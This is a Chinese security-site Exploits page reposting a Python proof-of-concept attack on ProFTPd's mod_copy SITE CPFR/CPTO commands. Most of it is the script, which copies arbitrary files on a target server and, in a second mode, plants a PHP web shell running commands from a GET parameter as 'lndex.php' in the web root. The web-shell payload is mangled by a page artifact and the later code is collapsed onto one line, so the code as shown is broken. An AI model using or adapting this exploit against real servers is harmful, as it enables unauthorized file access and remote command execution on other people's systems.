首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ProFTPd CPFR / CPTO Proof Of Concept
来源:daniel.aldana.moreno ___at__ gmail.com 作者:daldana 发布时间:2015-04-23  
'''
*** for educational purpouse ONLY! ***

c0ded by daldana. (daniel.aldana.moreno ___at__ gmail.com)
please, first read https://github.com/chcx/cpx_proftpd/
'''


import sys
from ftplib import FTP 


def main(argv):


	if len(argv) == 4:
		ip = argv[1]
		src = argv[2]
		dst = argv[3]
		option = 1

	elif len(argv) == 3:
		ip = argv[1]
		dst = argv[2]
		option = 2

	else:
		print 'please check the readme file.-'
		sys.exit(2)

	try:		
		ftp = FTP(ip)

	except:
		print 'connection refused.-'
		sys.exit(2)


	if option == 1:

		print 'YOU ARE TRYING METHOD ONE:'

		cmd1 = 'SITE CPFR ' + src
		cmd2 = 'SITE CPTO ' + dst


		try:
			res1 = ftp.sendcmd(cmd1)
		except:
			print 'NO SUCH FILE :('
			sys.exit(2)	


		try:
			res2 = ftp.sendcmd(cmd2)
			print 'NICE! TRY NOW! :)'

		except:
			print 'YOU DON\'T HAVE PERMISSION :('
			sys.exit(2)

	
	if option == 2:
		print 'YOU ARE TRYING METHOD TWO:'
		cmd1 = 'SITE CPFR /proc/self/cmdline'
		cmd2 = 'SITE CPTO /tmp/...<?php passthru(
___FCKpd___0
GET[\'img\']);?>' cmd3 = 'SITE CPFR /tmp/...<?php passthru(
___FCKpd___0
GET[\'img\']);?>' cmd4 = 'SITE CPTO ' + dst + '/lndex.php' print 'UPLOADING in ' + dst + '/lndex.php' try: res1 = ftp.sendcmd(cmd1) except: print 'NO SUCH FILE OR PERMISSION FOR CMDLINE :(' sys.exit(2) try: res2 = ftp.sendcmd(cmd2) except: print 'YOU DON\'T HAVE PERMISSION :(' sys.exit(2) try: res3 = ftp.sendcmd(cmd3) res4 = ftp.sendcmd(cmd4) print 'NICE! TRY NOW! :)' except: print 'PROBLEMS ;(' if __name__ == "__main__": main(sys.argv)

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MooPlayer 1.3.0 'm3u' SEH Buff
·ZYXEL P-660HN-T1H_IPv6 Remote
·Wolf CMS 0.8.2 Arbitrary File
·Ubuntu usb-creator 0.2.x - Loc
·ProFTPd 1.3.5 - Remote Command
·Free MP3 CD Ripper 2.6 2.8 (.w
·OpenBSD 5.6 - Multiple Local K
·Quick Search 1.1.0.189 - 'sear
·Apple MAC OS X < 10.9/10 - Loc
·WordPress InBoundio Marketing
·WordPress SlideShow Gallery Au
·WordPress WPshop eCommerce 1.3
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved